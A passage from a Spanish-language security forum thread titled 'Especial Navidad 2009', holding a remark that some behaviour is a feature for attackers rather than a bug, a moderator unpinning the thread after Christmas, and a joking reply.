Bueno, no es vulnerabilidad y no es bug, es una feature para el atacante mas que para el usuario xD


Título: Re: Especial Navidad 2009
Publicado por: WHK en 26 Diciembre 2009, 23:46 pm
Bueno ya pasó la navidad asi que se va la chincheta  :P


Título: Re: Especial Navidad 2009
Publicado por: electronik_0 en 29 Diciembre 2009, 20:02 pm
que regalo de navidad jajaa  :rolleyes: